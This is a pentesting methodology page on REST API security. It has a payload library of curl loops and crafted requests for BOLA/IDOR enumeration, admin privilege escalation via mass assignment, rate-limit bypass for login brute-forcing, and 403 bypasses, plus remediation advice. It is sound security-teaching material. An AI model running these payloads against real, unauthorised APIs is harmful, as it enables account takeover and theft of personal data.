REST API Security Testing

Severity: High–Critical | CWE: CWE-284, CWE-285, CWE-200 OWASP API Top 10: API1–API10


What Is REST API Security Testing?

REST APIs expose application logic directly — often with less protection than web UIs. The OWASP API Security Top 10 defines the primary attack vectors: Broken Object Level Authorization (BOLA/IDOR), Broken Authentication, Broken Object Property Level Authorization (Mass Assignment), Rate Limiting bypass, and more.

REST API attack surface vs web UI:
- No session cookie → token-based auth → different bypass techniques
- Machine-readable responses → easier automated enumeration
- Versioned endpoints (/v1, /v2) → old versions may lack controls
- Documentation endpoints (/swagger, /openapi.json) → reveals all endpoints
- Often less WAF/filtering than web UI

Discovery Checklist

  • Find API documentation: /swagger-ui, /openapi.json, /api-docs, /redoc, /graphql
  • Enumerate versioned endpoints: /v1/, /v2/, /api/v1/, /api/v2/
  • Check for shadow/zombie endpoints (old versions still accessible)
  • Test BOLA on all object IDs (numeric, UUID, base64)
  • Test HTTP method override: GET→DELETE, GET→PUT via X-HTTP-Method-Override
  • Test mass assignment in PUT/PATCH bodies (add admin/role fields)
  • Test authentication header bypass: missing, invalid, expired tokens
  • Test rate limiting: login, OTP, search, expensive operations
  • Test JWT-specific attacks (see 28_JWT.md)
  • Check CORS on API: does it reflect Origin with Access-Control-Allow-Credentials: true?
  • Test for verbose error messages revealing internals
  • Test file upload endpoints (see 24_FileUpload.md)
  • Check pagination: does negative/zero offset reveal unintended data?

Payload Library

Attack 1 — BOLA / Broken Object Level Authorization

# Basic IDOR: change your ID to someone else's
GET /api/v1/users/MY_ID/profile          → 200 OK (your data)
GET /api/v1/users/1/profile              → should be 403, but...
GET /api/v1/users/ADMIN_ID/profile       → cross-account access?

# Systematic enumeration:
for id in $(seq 1 100); do
  status=$(curl -so /dev/null -w "%{http_code}" \
    "https://api.target.com/v1/users/$id/profile" \
    -H "Authorization: Bearer USER_TOKEN")
  echo "User $id: $status"
done

# UUID enumeration — less guessable but still test:
# Find UUIDs in responses, increment/fuzz them
curl https://api.target.com/v1/orders/6ba7b810-9dad-11d1-80b4-00c04fd430c8 \
  -H "Authorization: Bearer ANOTHER_USER_TOKEN"

# Object type substitution:
GET /api/orders/1234          → your order
GET /api/invoices/1234        → same ID, different resource type
GET /api/admin/users/1234     → horizontal → vertical escalation

# Nested resource BOLA:
GET /api/users/VICTIM_ID/addresses           # victim's addresses
GET /api/users/VICTIM_ID/payment-methods     # victim's payment methods
GET /api/users/VICTIM_ID/orders              # victim's order history

Attack 2 — Broken Function Level Authorization (BFLA)

# Test accessing admin-only endpoints with regular user token:
GET /api/v1/admin/users                   → list all users
POST /api/v1/admin/users/1/promote        → promote to admin
DELETE /api/v1/users/VICTIM_ID            → delete another user
GET /api/v1/reports/financial             → financial data
POST /api/v1/system/config                → system configuration

# HTTP method confusion:
# App only protects POST /resource but not PUT, PATCH, DELETE
GET /api/v1/admin/settings                → 403
POST /api/v1/admin/settings               → 403
PUT /api/v1/admin/settings                → 200? (missing protection)

# Path traversal in API:
GET /api/v1/users/me/../admin/users       → path confusion
GET /api/v1/../admin/settings             → skip auth prefix

# Version bypass:
GET /api/v2/admin/users                   → 403
GET /api/v1/admin/users                   → 200 (old version unprotected)
GET /v1/admin/users                       → different path, same backend

Attack 3 — Mass Assignment

# Find: what fields does the server accept?
# PUT /api/v1/users/me with extra fields:
curl -X PUT https://api.target.com/v1/users/me \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Test User",
    "email": "test@test.com",
    "role": "admin",
    "isAdmin": true,
    "verified": true,
    "credits": 99999,
    "subscription": "enterprise",
    "permissions": ["read", "write", "delete", "admin"]
  }'

# PATCH — partial update often even less protected:
curl -X PATCH https://api.target.com/v1/users/me \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role": "admin"}'

# Nested mass assignment:
curl -X PUT https://api.target.com/v1/products/123 \
  -d '{"price": 0.01, "discount": 100, "internal": {"cost": 0}}'

# Registration mass assignment:
curl -X POST https://api.target.com/v1/register \
  -d '{
    "username": "attacker",
    "password": "pass",
    "isAdmin": true,
    "emailVerified": true,
    "betaAccess": true
  }'

Attack 4 — Rate Limit Bypass

# Header-based IP rotation (X-Forwarded-For etc.):
for ip in $(seq 1 50 | xargs -I{} echo "192.168.1.{}"); do
  curl -s -X POST https://api.target.com/v1/auth/login \
    -H "X-Forwarded-For: $ip" \
    -H "Content-Type: application/json" \
    -d '{"email":"admin@corp.com","password":"test"}' &
done
wait

# Rate limit per endpoint but not per action:
# Endpoint A limits to 10/min, Endpoint B has no limit
# But both write to same counter → abuse endpoint B

# Null byte bypass (some parsers treat as request boundary):
POST /api/login HTTP/1.1
email=admin@corp.com%00&password=test

# Content-Type variation:
# Rate limit checks JSON Content-Type only → bypass with form-encoded:
curl -X POST https://api.target.com/v1/otp/verify \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "otp=123456"  # instead of JSON

Attack 5 — API Key / Token Testing

# Find API keys in:
# JS files, Git history, mobile app decompiled code, documentation

# Test API key scope escalation:
# My key: read-only → try write operations
curl -X DELETE https://api.target.com/v1/users/1337 \
  -H "X-API-Key: MY_READ_ONLY_KEY"

# API key in URL → leaks in Referer, logs:
curl "https://api.target.com/v1/data?api_key=SECRET_KEY"
# More secure: Authorization: ApiKey SECRET_KEY

# Test: does API accept both header and URL param key?
# → URL param is logged in server access logs → harvest from logs

# Key rotation bypass (old keys still valid?):
curl https://api.target.com/v1/me \
  -H "Authorization: Bearer OLD_TOKEN"

# JWT-based API auth → see 28_JWT.md for full attack tree

Attack 6 — Excessive Data Exposure

# API returns more data than UI shows:
# UI shows: name, email
# API returns: name, email, phone, dob, ssn, password_hash, internal_id

curl -s https://api.target.com/v1/users/me \
  -H "Authorization: Bearer TOKEN" | python3 -m json.tool

# Nested object exposure:
curl -s https://api.target.com/v1/products/1 | python3 -m json.tool
# → {"name":"Widget","price":9.99,"internal":{"cost":0.50,"supplier_id":42}}

# Admin fields in regular user response:
# Look for: isAdmin, role, permissions, internal_notes, createdBy, updatedAt

# Batch API — get all users' data:
POST /api/graphql {"query": "{ users { nodes { id email passwordHash } } }"}
# Or:
GET /api/v1/users?page=1&per_page=10000    # pagination abuse

Attack 7 — Shadow / Zombie Endpoint Discovery

# Enumerate API versions:
for v in v1 v2 v3 v4 v0 beta alpha internal; do
  status=$(curl -so /dev/null -w "%{http_code}" \
    "https://api.target.com/$v/users")
  echo "/$v/users: $status"
done

# Check Swagger/OpenAPI docs:
for path in swagger-ui swagger-ui.html api-docs openapi.json \
            swagger.json swagger.yaml redoc v1/swagger.json; do
  curl -si "https://target.com/$path" | head -3
done

# Find API from JS bundles:
grep -rn "api/v\|endpoint\|baseURL\|apiUrl" --include="*.js" . | \
  grep -v "node_modules"

# Wayback Machine for old API endpoints:
waybackurls api.target.com | grep -E "/api/v[0-9]" | sort -u

# ffuf with API wordlist:
ffuf -u https://api.target.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,403 -o api_endpoints.json

Tools

# Burp Suite:
# - Proxy: capture all API traffic
# - Repeater: manual BOLA/BFLA testing
# - Scanner: automated IDOR detection
# - Extensions: Autorize (BOLA), AuthMatrix (BFLA), Param Miner

# mitmproxy — API traffic interception:
mitmproxy --mode transparent --ssl-insecure

# Postman / Insomnia — API testing:
# Import Swagger/OpenAPI spec → test all endpoints

# REST-assured (Java) — automated API testing framework

# jwt_tool — JWT analysis (see 28_JWT.md):
python3 jwt_tool.py TOKEN -t

# ffuf — API endpoint fuzzing:
ffuf -u "https://api.target.com/v1/FUZZ" \
  -H "Authorization: Bearer TOKEN" \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt

# Autorize (Burp extension):
# Automatic BOLA testing — replays every request with low-priv token
# and compares responses

# 403 bypass techniques:
for h in "X-Original-URL" "X-Rewrite-URL" "X-Custom-IP-Authorization" \
         "X-Forwarded-For" "X-Forward-For" "X-Remote-IP"; do
  curl -s -H "$h: 127.0.0.1" "https://api.target.com/admin/users" | head -5
done

# HTTP method fuzzing:
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
  status=$(curl -so /dev/null -w "%{http_code}" \
    -X "$method" "https://api.target.com/v1/users/1337" \
    -H "Authorization: Bearer LOW_PRIV_TOKEN")
  echo "$method: $status"
done

Remediation Reference

  • BOLA: validate object ownership on every request — not just authentication
  • BFLA: enforce function-level authorization server-side — client-side hiding is not protection
  • Mass Assignment: use allowlists for accepted fields — never auto-bind all request body fields
  • Rate Limiting: apply per user, per IP, and per endpoint — use token bucket or sliding window algorithms
  • Excessive Data Exposure: return only the fields needed — use response DTOs, never serialise full DB models
  • Shadow APIs: inventory and decommission old API versions; redirect with 301 or return 410 Gone
  • API Documentation: restrict Swagger/OpenAPI access to internal network or require authentication
  • Versioning strategy: when deprecating, enforce authorization controls on old versions equally

Part of the Web Application Penetration Testing Methodology series.